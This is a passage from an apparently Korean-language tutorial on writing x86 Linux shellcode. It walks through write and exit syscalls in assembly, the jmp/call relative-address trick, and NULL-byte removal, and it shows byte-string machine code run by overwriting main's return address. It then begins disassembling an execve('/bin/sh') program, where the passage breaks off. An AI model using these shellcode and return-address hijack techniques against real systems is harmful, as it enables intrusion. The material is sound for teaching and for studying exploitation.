\uc788\ub2e4. \uadf8\ub7fc eax, ebx, ecx, edx\uc5d0 \uc5b4\ub5a4 \uac12\uc774 \ucc44\uc6cc\uc9c0\ub294\uc9c0 \ubcf4\uae30\ub85c \ud558\uc790..  

0x804c391 <__libc_write+1>:     mov    0x10(%esp,1),%edx  \uc774 \uc704\uce58\uc5d0\uc11c stack\uc5d0 \uc313\uc5ec\uc788\ub294 data\ub97c
\ubcf4\uba74.

        +----------+
        |   %ebx   |   <--- %esp \uac12                    (\ub0ae\uc740 \uc8fc\uc18c)
        +----------+
        |   ret    |    %esp + 0x04
        +----------+
        |   0x1    |    %esp + 0x08    ---> %ebx
        +----------+
        |string\uc8fc\uc18c|    %esp + 0x0c    ---> %ecx  
        +----------+
        | 0x17(23) |    %esp + 0x10    ---> %edx       (\ub192\uc740 \uc8fc\uc18c)
        +----------+

eax,ebx,ecx,edx\uc5d0\ub294 \uc544\ub798\uc640 \uac19\uc740 data\uac00 \ub4e4\uc5b4\uac04\ub4a4 \uc778\ud130\ub7fd\ud2b8(int $0x80)\uac00 \ub418\ub294 \uac83\uc744 \uc54c\uc218\uc788\ub2e4.
 
        +----------+----------+--------------------------------------+
        |   %eax   |   0x04   |  write()\ub97c \uc758\ubbf8\ud558\ub294 system call no.  | 
        +----------+----------+--------------------------------------+
        |   %ebx   |   0x01   |  STANDARD_OUT\uc758 \uc758\ubbf8                 |
        +----------+----------+--------------------------------------+
        |   %ecx   | str addr |  string\uc758 \uc8fc\uc18c                       |
        +----------+----------+--------------------------------------+
        |   %edx   |   0x17   |  string\uc758 size                       |  
        +----------+----------+--------------------------------------+
        |      int $0x80      |  system call \ud638\ucd9c                    |
        +---------------------+--------------------------------------+

\uc774\uc81c \uc774 \uacb0\uacfc\ub97c \uc774\uc6a9\ud558\uc5ec \uac04\ub2e8\ud558\uac8c \uc704\uc758 \uae00\uc790\ub97c \ucd9c\ub825\ud558\ub294 \ud504\ub85c\uadf8\ub7a8\uc744 \uc5b4\uc148\ube14\ub9ac\ub85c \uc791\uc131\ud574 \ubcf4\uc790.

[willy@Null@Root]$ cat test22.s
.LC0:
        .string \"I'm Willy in Null@Root\\n\" 
.globl main
main:
        movl    $0x04, %eax
        movl    $0x01, %ebx
        movl    $.LC0, %ecx
        movl    $0x17, %edx
        int     $0x80
        ret

[willy@Null@Root]$ gcc test22.s -o test22

[willy@Null@Root]$ .\/test22
I'm Willy in Null@Root
\uc138\uadf8\uba58\ud14c\uc774\uc158 \uc624\ub958 (core dumped)

\uc77c\ub2e8 write()\ud568\uc218\ub97c system call\ud558\uc5ec \ubb38\uc790\ub97c \ucd9c\ub825\ud558\ub294\ub370\ub294 \uc131\uacf5\ud588\ub2e4.. \uadf8\ub7f0\ub370 \uadf8\ub4a4\uc5d0 \uc138\ud06c\uba58\ud14c\uc774\uc158
\uc624\ub958\uac00 \ubc1c\uc0dd\ud558\ub294 \ubb38\uc81c\uac00 \uc788\uc74c\ub97c \ubcfc\uc218 \uc788\uc73c\uba70, \uc774\ub294 \ud504\ub85c\uadf8\ub7a8\uc758 \uc885\ub8cc\uc2dc\uc5d0 \ud504\ub85c\uadf8\ub7a8\uc758 \uc790\uc6d0\uc744 \ub9b4\ub9ac\uc988
\ud558\ub294 \ubcc4\ub3c4\uc758 \ub8e8\ud2f4\uc774 \uc124\uc815\ub418\uc9c0 \uc54a\uc558\uae30 \ub54c\ubb38\uc774\ub2e4. \ub530\ub77c\uc11c \uc774\ub97c \ud574\uacb0\ud558\uae30 \uc704\ud574 exit() \uc2dc\uc2a4\ud15c\ucf5c\uc744 \ud638\uc904
\ud574 \uc918\uc57c\ud55c\ub2e4. \uadf8 \uc758\ubbf8\ub294 1\ucc28\uc801\uc73c\ub85c \uc778\ud130\ub7fd\ud2b8\ub97c \uc218\ud589\ud558\uc5ec write()\ub97c call\ud558\uace0 \ud504\ub85c\uadf8\ub7a8 \uc885\ub8cc\uc804 \ub610 
\ud55c\ubc88\uc5d0 \uc778\ud130\ub7fd\ud2b8\ub85c exit()\uc744 \uc218\ud589 \uc815\uc0c1\uc801\uc778 \uc885\ub8cc\uac00 \ub418\ub3c4\ub85d\ud558\ub294 \uac83\uc774\ub2e4. \uc774\uac83\uc740 \ud55c \ud504\ub85c\uadf8\ub7a8\uc5d0\uc11c \uba87\uac1c
\uc758 system call\uc744 \ud560\uc218 \uc788\uc74c\uc744 \uc758\ubbf8\ud558\uae30\ub3c4 \ud55c\ub2e4. \uadf8\ub7fc exit() system call\uc2dc \ud544\uc694\ud55c \uc778\uc218\ub4e4\uc744 \uc54c\uc544
\ubcf4\uae30 \uc704\ud558\uc5ec \uc544\ub798\uc640 \uac19\uc774 \uac04\ub2e8\ud55c C\uc5b8\uc5b4 \ud504\ub85c\uadf8\ub7a8\uc744 \uc791\uc131\ud55c\ub4a4 gdb\ub85c \ub0b4\uc6a9\ub97c \uc0b4\ud3b4\ubcf4\uc790.

[willy@Null@Root]$ cat test3.c
main()
{
exit(0);
}

[willy@Null@Root]$ gcc test3.c -o test3 -mpreferred-stack-boundary=2 -static

[willy@Null@Root]$ gdb -q test3
(gdb) disassemble main
Dump of assembler code for function main:
0x80481dc <main>:       push   %ebp
0x80481dd <main+1>:     mov    %esp,%ebp
0x80481df <main+3>:     push   $0x0
0x80481e1 <main+5>:     call   0x80483a4 <exit>
0x80481e6 <main+10>:    nop    
0x80481e7 <main+11>:    nop    
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c330 <_exit>:      mov    %ebx,%edx
0x804c332 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804c336 <_exit+6>:    mov    $0x1,%eax
0x804c33b <_exit+11>:   int    $0x80
0x804c33d <_exit+13>:   mov    %edx,%ebx
0x804c33f <_exit+15>:   cmp    $0xfffff001,%eax
0x804c344 <_exit+20>:   jae    0x804ca70 <__syscall_error>
End of assembler dump.
(gdb) 

_exit\ub85c \ubd80\ud130 %eax = 1, %ebx = 0 \uc124\uc815\ud6c4 int $0x80\uc744 \ud558\uba74 exit(0) \uacb0\uacfc\ub97c \uc5bb\uc744\uc218 \uc788\ub2e4. 

             movl    $0x01, %eax
             movl    $0x00, %ebx
             int     $0x80

\uc774\ubd80\ubd84\uc744 \ucd94\uac00 \ud558\uba74 exit(0)\uc774 system call\ub418\ub294 \uac83\uc744 \uc54c\uc218 \uc788\ub2e4. \uadf8\ub7fc \uc774\uac83\uc744 test22.s\uc5d0 \ucd94\uac00\ud558\uc5ec
\uc2e4\ud589\ud574 \ubcf4\uc790.

[willy@Null@Root]$ cat test23.s
.LC0:
        .string \"I'm Willy in Null@Root\\n\" 
.globl main
main:
        movl    $0x04, %eax
        movl    $0x01, %ebx
        movl    $.LC0, %ecx
        movl    $0x17, %edx
        int     $0x80             <---  write()\ub97c \uc704\ud55c \uc778\ud130\ub7fd\ud2b8
        movl    $0x01, %eax
        movl    $0x00, %ebx
        int     $0x80             <---  exit(0)\uc744 \uc704\ud55c \uc778\ud130\ub7fd\ud2b8 
        ret

[willy@Null@Root]$ cc test23.s -o test23

[willy@Null@Root]$ .\/test23
I'm Willy in Null@Root

\uc774\uc81c \uc885\ub8cc\ubb38\uc81c\ub97c \ud574\uacb0\ud558\uc600\ub2e4. \ub9cc\uc57d \uc774\uac83\uc744 Shellcode\ucc98\ub7fc \uae30\uacc4\uc5b4\ucf54\ub4dc\ub85c \ubc14\uafb8\uc5b4 Buffer\uc5d0 \ub123\uc5d0 \uc2e4\ud589
\uc2dc\ud0ac\ub824\uace0 \ud558\uba74 \uc5b4\ub5a4 \ubb38\uc81c\uac00 \uc788\uc744\uae4c?  \ubc14\ub85c string\uc758 \uc8fc\uc18c\uac00 \ubb38\uc81c\uc774\ub2e4. \uc5ec\uae30\uc11c\ub294 string\uc774 \uc808\ub300\uc8fc\uc18c
\ub85c \uc124\uc815\ud558\uc600\ub294\ub370 \uc774 \uc808\ub300\uc8fc\uc18c\ub294 \uc784\uc758\uc758 Buffer\uc5d0 \ub123\uc5b4\uc9c0\uba74 \uc544\ubb34\ub7f0 \uad00\uacc4\uac00 \uc5c6\uc5b4 string\uc744 \ucc3e\uc744\uc218 
\uc5c6\ub2e4. \uadf8\ub7ec\ubbc0\ub85c  \uae30\uacc4\uc5b4\ucf54\ub4dc \ub0b4\uc5d0\uc11c \uc8fc\uc18c\ub97c \ucc3e\uc744\uc218 \uc788\ub3c4\ub85d \uc0c1\ub300\uc8fc\uc18c\ub85c \ub9cc\ub4e4\uc5b4 \uc8fc\uc5b4\uc57c \ud55c\ub2e4. \uadf8\ub7ec\uba74
\uc0c1\ub300\uc8fc\uc18c\uac00 \ub418\ub3c4\ub85d \ud558\ub824\uba74? \uc544\ub798 test24.s\uc640 \uac19\uc774 jmp \uc640 call\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc815\uc758\ud574 \uc8fc\uba74 \ub41c\ub2e4.

[willy@Null@Root]$ cat test24.s
.globl main
main:
        jmp     strings
start:  popl    %esi
        movl    $0x04, %eax
        movl    $0x01, %ebx
        movl    %esi, %ecx
        movl    $0x17, %edx
        int     $0x80
        movl    $0x01, %eax
        movl    $0x00, %ebx
        int     $0x80
strings:call    start
        .string \"I'm Willy in Null@Root\\n\" 

\uc704\uc758 test23.s\uc640 \uc5b4\ub5bb\uac8c \ubc14\ub00c\uc5c8\ub294\uc9c0 \ubcf4\uc790.  \uc704\ucabd\uc5d0 jmp strings\uc640 start: popl %esi\uac00 \ucd94\uac00\ub418\uc5c8\uace0
\uc911\uac04\uc5d0 \ubcf4\uba74 $.LC0\uac00 %esi\ub85c, \uc544\ub798\ucabd\uc5d0 strings: call start\uac00 \ucd94\uac00 \ub418\uc5c8\uc73c\uba70, \ubb38\uc790\uc5f4\uc774 \uc544\ub798\ub85c 
\ub0b4\ub824\uc654\ub2e4.  \uc774 \ud504\ub85c\uadf8\ub7a8\uc758 \uc218\ud589 \uc21c\uc11c\ub97c \ub530\ub77c\uc11c \ub0b4\uc6a9\ub97c \uc0b4\ud3b4\ubcf4\uc790.

      step 1: \ucc98\uc74c jmp\ub97c \ub9cc\ub098\uc11c strings:\ub85c \uc774\ub3d9 
      step 2: strings:\uc5d0 call\uc740 \ub2e4\uc74c\uc704\uce58\uc778 \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c stack\uc5d0 \uc800\uc7a5\ud55c\ub4a4 start\ub85c \uc774\ub3d9
      step 3: start:\uc5d0 popl %esi\uc740 \ub9c8\uc9c0\ub9c9\uc5d0 stack\uc5d0 \uc800\uc7a5\ud55c \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c %esi\uc5d0 \ub123\ub294\ub2e4.
      step 4: movl\ub97c \ud1b5\ud574\uc11c %eax,%ebx,%ecx,%edx\uc744 \ucc44\uc6b4\ub2e4. \uc774\ub54c %ecx\uc5d0 %esi(\ubb38\uc790\uc5f4\uc8fc\uc18c)\uac00
              \ub4e4\uc5b4\uac04\ub2e4.
      step 5: int $0x80\uc73c\ub85c write() \ud568\uc218 \uc2e4\ud589\uc744 \uc704\ud55c system call\uc744 \ud55c\ub2e4.
      step 6: movl\ub85c %eax, %ebx\ub97c \ucc44\uc6b4\ub2e4.
      step 7: int %0x80\uc73c\ub85c exit(0)\ud568\uc218\ub97c system call\ud55c\ub2e4. (\uc815\uc0c1\uc885\ub8cc)

[willy@Null@Root]$ gcc test24.s -o test24
[willy@Null@Root]$ .\/test24
I'm Willy in Null@Root

\uc815\uc0c1\uc801\uc73c\ub85c \uc2e4\ud589\ub41c\ub294 \uac83\uc744 \ud655\uc778\ud558\uc600\ub2e4. \uc774\uc81c\ub294 objdump\ub97c \uc774\uc6a9\ud558\uc5ec \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.

[willy@Null@Root]$ objdump -d test24

             :
             :                  
0804841c <main>:
804841c:       eb 20                   jmp    804843e <strings>

0804841e <start>:
804841e:       5e                      pop    %esi
804841f:       b8 04 00 00 00          mov    $0x4,%eax
8048424:       bb 01 00 00 00          mov    $0x1,%ebx
8048429:       89 f1                   mov    %esi,%ecx
804842b:       ba 17 00 00 00          mov    $0x17,%edx
8048430:       cd 80                   int    $0x80
8048432:       b8 01 00 00 00          mov    $0x1,%eax
8048437:       bb 00 00 00 00          mov    $0x0,%ebx
804843c:       cd 80                   int    $0x80

0804843e <strings>:
804843e:       e8 db ff ff ff          call   804841e <start>
8048443:       49                      dec    %ecx
8048444:       27                      daa    
8048445:       6d                      insl   (%dx),%es:(%edi)
8048446:       20 57 69                and    %dl,0x69(%edi)
8048449:       6c                      insb   (%dx),%es:(%edi)
804844a:       6c                      insb   (%dx),%es:(%edi)
804844b:       79 20                   jns    804846d <__do_global_ctors_aux+0xd>
804844d:       69 6e 20 4e 75 6c 6c    imul   $0x6c6c754e,0x20(%esi),%ebp
8048454:       40                      inc    %eax
8048455:       52                      push   %edx
8048456:       6f                      outsl  %ds:(%esi),(%dx)
8048457:       6f                      outsl  %ds:(%esi),(%dx)
8048458:       74 0a                   je     8048464 <__do_global_ctors_aux+0x4>
            :
            :

\uc704\uc758 \ucf54\ub4dc\ub97c jmp(0x0804841c)\ubd80\ud130 call(0x080443e)\uae4c\uc9c0 \uc21c\uc11c\ub300\ub85c \uc815\ub82c\uc2dc\ucf1c \ubcf4\uba74 0xeb\\x20... 
.... \\xff\\xff\\xff\uac00 \ub418\uba70 \uadf8\ub4a4\uc5d0 \\x49 ~ \\x0a\ub294 \ubb38\uc790\uc5f4\uc774\ubbc0\ub85c \uc9c1\uc811 \ubb38\uc790\ub97c \ucd94\uac00\ud558\uc5ec \uc791\uc131\ud558\uba74
\uc544\ub798\uc640 \uac19\uc740 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \uc5bb\uc744\uc218 \uc788\ub2e4.

\uc774 code\ub97c \uc815\ub9ac\ud574\uc11c main()\uc758 ret\uc8fc\uc18c\uc5d0 \ub123\uc5b4 \uc2e4\ud589\ud574 \ubcf4\uc790.

[willy@Null@Root]$ cat test41.c
char print_code[] =
\"\\xeb\\x20\\x5e\\xb8\\x04\\x00\\x00\\x00\\xbb\\x01\\x00\\x00\\x00\\x89\\xf1\\xba\\x17\\x00\\x00\\x00\"
\"\\xcd\\x80\\xb8\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xdb\\xff\\xff\\xff\"
\"I'm willy in Null@Root\\n\";

main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)print_code;
}

[willy@Null@Root]$ gcc test41.c -o test41
[willy@Null@Root]$ .\/test41
I'm willy in Null@Root

\uc5ec\uae30\uae4c\uc9c0\ub294 \uc131\uacf5\ud588\ub2e4.. \uadf8\ub7fc \ubaa8\ub4e0\uac83\uc774 \ub05d\ub09c\uac83\uc77c\uae4c? print_code\ub97c \uc798 \ubcf4\uba74 \uc54c\uaca0\uc9c0\ub9cc code\uc911\uac04\uc5d0 
NULL(0x00)\uc774 \ud3ec\ud568\ub418\uc5b4\uc788\ub294 \uac83\uc744 \ubcfc\uc218\uc788\ub2e4. \uc77c\ubc18\uc801\uc778 \uc785\ub825\uc778 \uacbd\uc6b0 buf\uc5d0 code\uc785\ub825\uc2dc \uc911\uac04\uc5d0 NULL\uc774
\uc788\ub294 \uacbd\uc6b0 \ubb38\uc790\uc5f4\uc758 \ub05d\uc73c\ub85c \uc778\uc2dd\ud558\uc5ec \ub354\uc774\uc0c1 \ubc1b\uc9c0 \uc54a\uc744\uac83\uc774\ub2e4. \uc989 \uc804\uccb4\uc758 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \uc785\ub825\ud558\ub294 
\uac83\uc774 \ubd88\uac00\ub2a5\ud574 \uc9c0\ubbc0\ub85c \uc5c6\uc560\uc57c \ud55c\ub2e4. NULL\uc744 \uc0ad\uc81c\ud558\ub294 \ubc29\ubc95\uc73c\ub85c\ub294 \uac19\uc740 \uae30\ub2a5\uc744 \ud558\ub294 \ub2e4\ub978 \uba85\ub839\uc5b4\ub85c
\ub300\uccb4 \uc0ac\uc6a9\ud558\uac70\ub098 \ucc98\ub9ac\ud558\ub294 data\ud06c\uae30\ub97c \ubcc0\uacbd\ud558\ub294 \ubc29\ubc95\uc774 \uc788\uc744\uc218 \uc788\ub2e4.  \uc608\ub97c \ub4e4\uc5b4 %eax\uc5d0 0x00\uc744
\ub123\uc5b4\uc57c \ud55c\ub294 \uacbd\uc6b0 movl $0x00, %eax\ub300\uc2e0\uc5d0 xor %eax,%eax\uc640 \uac19\uc740 \ubc30\ud0c0\uc801 \ub17c\ub9ac\ub97c \uc774\uc6a9\ud558\uc5ec NULL\uc744 
\ud53c\ud560\uc218 \uc788\uc73c\uba70, \uc791\uc740 \ub2e8\uc7040x10\uc744 \ub123\uc5b4\uc57c \uacbd\uc6b0 movl $0x10, %eax\uc744 \uc4f0\uba74 4\ubc14\uc774\ud2b8\uc5d0 \uc4f0\uc5ec\uc9c0\uac8c \ub418\ubbc0\ub85c
0x00000010\uc774 \ub418\uc5b4 3\uac1c\uc758 NULL\uc774 \ub9cc\ub4e4\uc5b4\uc9c0\uac8c \ub418\ubbc0\ub85c movb %0x10,%al \uc774\ub807\uac8c \ud06c\uae30\ub97c \uc791\uac8c\ud574\uc11c \uacc4\uc0b0
\ud558\uc5ec \ud53c\ud560\uc218 \uc788\ub2e4.

\uc790 \uadf8\ub7fc \uc5ec\uae30\uc11c Null\uc774 \ub098\ud0c0\ub098\uc9c0 \uc54a\ud1a0\ub85d \uc5b4\uc148\ube14\ub9ac \uba85\ub839\uc5b4\ub97c \uc218\uc815\ud574 \ubcf4\uc790.
  +--------------------+---------------------+---------------------------------------+
  |     \uc218\uc815 \uc804        |       \uc218\uc815 \ud6c4       |             \uc124     \uba85                 |
  +--------------------+---------------------+---------------------------------------+
  | movl  $0x04, %eax  | xor    %eax, %eax   | xor \uc774\uc6a9 eax\ub97c 0x00000000\uc73c\ub85c \ub9cc\ub4e0\ub4a4  |
  |                    | movb   $0x04, %al   | \ub9c8\uc9c0\ub9c9 1\ubc14\uc774\ud2b8\uc5d0 0x04\ub97c \ub123\uc74c.         |
  +--------------------+---------------------+---------------------------------------+
  | movl  $0x01, %ebx  | xor    %ebx, %ebx   | xor \uc774\uc6a9 eax\ub97c 0x00000000\uc73c\ub85c \ub9cc\ub4e0\ub4a4  |  
  |                    | movb   $0x01, %bl   | \ub9c8\uc9c0\ub9c9 1\ubc14\uc774\ud2b8\uc5d0 0x01\ub97c \ub123\uc74c.         |
  +--------------------+---------------------+---------------------------------------+
  | movl  $0x17, %edx  | xor    %edx, %edx   | xor \uc774\uc6a9 eax\ub97c 0x00000000\uc73c\ub85c \ub9cc\ub4e0\ub4a4  |
  |                    | movb   $0x17, %dl   | \ub9c8\uc9c0\ub9c9 1\ubc14\uc774\ud2b8\uc5d0 0x17\ub97c \ub123\uc74c.         |
  +--------------------+---------------------+---------------------------------------+
  | movl  $0x01, %eax  | xor    %eax, %eax   | xor \uc774\uc6a9 eax\ub97c 0x00000000\uc73c\ub85c \ub9cc\ub4e0\ub4a4  |
  |                    | movb   $0x01, %al   | \ub9c8\uc9c0\ub9c9 1\ubc14\uc774\ud2b8\uc5d0 0x01\ub97c \ub123\uc74c.         |
  +--------------------+---------------------+---------------------------------------+
  | movl  $0x00, %ebx  | xor    %ebx, %ebx   | xor %ebx %ebx\ub294 \ub450 \uac12\uc774 \uac19\uc740\uacbd\uc6b0 0\uc774\ub428|
  +--------------------+---------------------+---------------------------------------+

\uc774\ub807\uac8c \uc218\uc815\ud55c \ub0b4\uc6a9\uc744 test24.s\uc5d0 \ubc18\uc601\ud558\uc5ec \uc544\ub798\uc640 test25.s\uc640 \uac19\uc774 \ub9cc\ub4e4\uc218 \uc788\ub2e4.
[willy@Null@Root]$ cat test25.s
.globl main
main:
        jmp     strings
start:  popl    %esi
        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %edx, %edx
        movb    $0x04, %al    
        movb    $0x01, %bl    
        movl    %esi,  %ecx   
        movb    $0x17, %dl   
        int     $0x80         
        movb    $0x01, %al   
        xor     %ebx, %ebx   
        int     $0x80         
strings:call start
        .string \"I'm Willy in Null@Root\\n\" 

[willy@Null@Root]$ gcc test25.s -o test25
[willy@Null@Root]$ .\/test25
I'm Willy in Null@Root

\ucef4\ud37c\uc77c\ud558\uc5ec \uc2e4\ud589\uacb0\uacfc \uc544\ubb34\ub7f0 \ubb38\uc81c\uac00 \uc5c6\ub294 \uac83\uc744 \ud655\uc778\ud558\uc600\uc73c\uba70 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \uc5bb\uae30\uc704\ud574 objdump\ub97c 
\uc2e4\ud589\ud574 \ubcf4\uba74.

[willy@Null@Root]$ objdump -d test25

             :
             :   
0804841c <main>:
804841c:       eb 17                   jmp    8048435 <strings>

0804841e <start>:
804841e:       5e                      pop    %esi
804841f:       31 c0                   xor    %eax,%eax
8048421:       31 db                   xor    %ebx,%ebx
8048423:       31 d2                   xor    %edx,%edx
8048425:       b0 04                   mov    $0x4,%al
8048427:       b3 01                   mov    $0x1,%bl
8048429:       89 f1                   mov    %esi,%ecx
804842b:       b2 17                   mov    $0x17,%dl
804842d:       cd 80                   int    $0x80
804842f:       b0 01                   mov    $0x1,%al
8048431:       31 db                   xor    %ebx,%ebx
8048433:       cd 80                   int    $0x80

08048435 <strings>:
8048435:       e8 e4 ff ff ff          call   804841e <start>
804843a:       49                      dec    %ecx
804843b:       27                      daa    
804843c:       6d                      insl   (%dx),%es:(%edi)
804843d:       20 57 69                and    %dl,0x69(%edi)
8048440:       6c                      insb   (%dx),%es:(%edi)
8048441:       6c                      insb   (%dx),%es:(%edi)
8048442:       79 20                   jns    8048464 <__do_global_ctors_aux+0x4>
8048444:       69 6e 20 4e 75 6c 6c    imul   $0x6c6c754e,0x20(%esi),%ebp
804844b:       40                      inc    %eax
804844c:       52                      push   %edx
804844d:       6f                      outsl  %ds:(%esi),(%dx)
804844e:       6f                      outsl  %ds:(%esi),(%dx)
804844f:       74 0a                   je     804845b <strings+0x26>
             :
             :  
\uc704\uc5d0 \ub098\ud0c0\ub09c \uacb0\uacfc\uc640 \uac19\uc774 \uae30\uacc4\uc5b4\ucf54\ub4dc\uc911\uc5d0 NULL \ucf54\ub4dc\uac00 \uc5c6\ub294 \uac83\uc744 \ud655\uc778\ud560\uc218 \uc788\ub2e4.  \uc544\ub798 test42.c
\ub294 \uc704\uc5d0\uc11c \uc5bb\uc740 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c main()\uc758 ret\uc5d0 \ub123\uace0 \uc2e4\ud589\ud558\ub294 \ud504\ub85c\uadf8\ub7a8\uc774\ub2e4.

[willy@Null@Root]$ cat test42.c 
char print_code[] =
\"\\xeb\\x17\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xd2\\xb0\\x04\\xb3\\x01\\x89\\xf1\"
\"\\xb2\\x17\\xcd\\x80\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xe4\\xff\\xff\\xff\"
\"I'm willy in Null@Root\\n\";

main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)print_code;
}

[willy@Null@Root]$ gcc test42.c -o test42
[willy@Null@Root]$ .\/test42
I'm willy in Null@Root

\ubb38\uc81c\uc5c6\uc774 \uc798 \uc2e4\ud589\ub418\ub294 \uac83\uc744 \ubcfc\uc218 \uc788\ub2e4.  \uc9c0\uae08\uae4c\uc9c0 Shellcode\ub9cc\ub4e4\uae30 \uc704\ud55c \uae30\ubcf8 \uc9c0\uc2dd\uc740 \ub2e4 \ubc30\uc6e0\ub2e4. 
\ud2b9\ud788 system call\uac1c\ub150\uacfc \ubb38\uc790\uc5f4\uc758 \uc0c1\ub300\uc8fc\uc18c\ub97c \uad6c\ud558\ub294 \ubc29\ubc95\uc744 \uc774\ud574\ud558\uc600\ub2e4\uba74 Shellcode \ubfd0\ub9cc \uc544\ub2c8\ub77c
system call\uc744 \uc774\uc6a9\ud55c \uc2dc\uc2a4\ud15c\uc5d0 \uae30\ubcf8 \ub8e8\ud2f4(\ud568\uc218)\ub97c \uc218\ud589\ud558\ub294\ub370 \uc5b4\ub824\uc6c0\uc774 \uc5c6\uc744 \uac83\uc774\ub2e4. 

<shellcode \ub9cc\ub4e4\uae30>
\uc774\uc81c \ubcf8\uaca9\uc801\uc73c\ub85c shellcode\ub97c \ub9cc\ub4dc\ub294 \uc791\uc5c5\uc744 \ud574\ubcf4\uc790. \uc77c\ubc18\uc801\uc73c\ub85c \uac00\uc7a5 \uac04\ub2e8\ud558\uac8c shell\uc744 \ub744\uc6b0\ub294 \ubc29\ubc95
\uc5d0\ub294 system()\uc774\ub098 execve()\uc885\ub958\uc758 \ud568\uc218\ub97c \uc368\uc11c \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e4\uc218 \uc788\ub2e4. \uadf8\uc911\uc5d0\uc11c system call\uc744 
\ud560\uc218 \ud568\uc218\ub97c \/usr\/include\/asm\/unistd.h\uc5d0\uc11c \ucc3e\uc544\ubcf4\uba74 execve()\uc788\ub2e4. \uc774 \ud568\uc218\ub97c \uc774\uc6a9\ud558\uc5ec \uac04\ub2e8\ud55c 
C\uc5b8\uc5b4 \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.

[willy@Null@Root]$ cat test51.c
main()
{
  char *name[2];
  name[0] = \"\/bin\/sh\";
  name[1] = NULL;
  execve(name[0],name,NULL);
}

\uc774\ub807\uac8c \ub9cc\ub4e4\uc218 \uc788\uc73c\uba70 \uc774\uac83\uc744 -stack \uc635\uc158\uc744 \ucd94\uac00\ud574\uc11c \ucef4\ud37c\uc77c \ud55c\ub4a4 gdb\ub85c disassemble\ud574\uc11c \ub0b4\uc6a9\ub97c
\uc0b4\ud3b4\ubcf4\uba74 \uc704\uc5d0\uc11c \uc124\uba85\ud588\ub358 write() \ud568\uc218\ubcf4\ub2e4 \ub2e4\uc18c \ubcf5\uc7a1\ud55c \uad6c\uc870\uc784\uc744 \uc54c\uc218 \uc788\ub2e4. 

[willy@Null@Root]$ gcc test51.c -o test51 -mpreferred-stack-boundary=2 -static

[willy@Null@Root]$ gdb -q test51
(gdb) disassemble main
Dump of assembler code for function main:
0x80481dc <main>:       push   %ebp
0x80481dd <main+1>:     mov    %esp,%ebp
0x80481df <main+3>:     sub    $0x8,%esp
0x80481e2 <main+6>:     movl   $0x808b228,0xfffffff8(%ebp)
0x80481e9 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481f0 <main+20>:    push   $0x0
0x80481f2 <main+22>:    lea    0xfffffff8(%ebp),%eax
0x80481f5 <main+25>:    push   %eax
0x80481f6 <main+26>:    pushl  0xfffffff8(%ebp)
0x80481f9 <main+29>:    call   0x804c36c <__execve>
0x80481fe <main+34>:    add    $0xc,%esp
0x8048201 <main+37>:    leave  
0x8048202 <main+38>:    ret    
0x8048203 <main+39>:    nop    
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c36c <__execve>:   push   %ebp
0x804c36d <__execve+1>: mov    $0x0,%eax
0x804c372 <__execve+6>: mov    %esp,%ebp
0x804c374 <__execve+8>: test   %eax,%eax
0x804c376 <__execve+10>:        push   %edi
0x804c377 <__execve+11>:        push   %ebx
0x804c378 <__execve+12>:        mov    0x8(%ebp),%edi
0x804c37b <__execve+15>:        je     0x804c382 <__execve+22>
0x804c37d <__execve+17>:        call   0x0
0x804c382 <__execve+22>:        mov    0xc(%ebp),%ecx
0x804c385 <__execve+25>:        mov    0x10(%ebp),%edx
0x804c388 <__execve+28>:        push   %ebx
0x804c389 <__execve+29>:        mov    %edi,%ebx
0x804c38b <__execve+31>:        mov    $0xb,%eax
0x804c390 <__execve+36>:        int    $0x80
0x804c392 <__execve+38>:        pop    %ebx
0x804c393 <__execve+39>:        mov    %eax,%ebx
0x804c395 <__execve+41>:        cmp    $0xfffff000,%ebx
0x804c39b <__execve+47>:        jbe    0x804c3ab <__execve+63>
0x804c39d <__execve+49>:        neg    %ebx
0x804c39f <__execve+51>:        call   0x80483b4 <__errno_location>
0x804c3a4 <__execve+56>:        mov    %ebx,(%eax)
0x804c3a6 <__execve+58>:        mov    $0xffffffff,%ebx
0x804c3ab <__execve+63>:        mov    %ebx,%eax
0x804c3ad <__execve+65>:        pop    %ebx
0x804c3ae <__execve+66>:        pop    %edi
0x804c3af <__execve+67>:        pop    %ebp
0x804c3b0 <__execve+68>:        ret    
End of assembler dump.

\uc6b0\ub9ac\uc758 \ubaa9\uc801\uc740 \uc704\uc758 disassemle \ub0b4\uc6a9\uc5d0\uc11c %eax,%ebx,%ecx,%edx... \uc5d0 \uc5b4\ub5a4 \uac12\ub4e4\uc774 \ub4e4\uc5b4\uac00\ub294\uc9c0\ub9cc
\uc54c\uc544\ub0bc\uc218 \uc788\uc73c\uba74 \ub41c\ub2e4. \ud558\ub098\uc529 \uc21c\uc11c\ub300\ub85c \ud6cc\ud130\ubcf4\uae30\ub85c \ud558\uc790.. \uba3c\uc800 main()\uc5d0\uc11c \uc778\uc218\uac00 \uc5b4\ub5bb\uac8c stack
\uc5d0 \ub4e4\uc5b4 \uac00\ub294\uc9c0 \ubcf4\uc790.

0x80481dc <main>:       push   %ebp
0x80481dd <main+1>:     mov    %esp,%ebp
\ud568\uc218\uc5d0 \ucca8\ub4e4\uc5b4 \uc624\uba74\uc11c %ebp\ub97c \ucd08\uae30 %esp\uac12\uc73c\ub85c \uc124\uc815\ud55c\ub2e4.

0x80481df <main+3>:     sub    $0x8,%esp
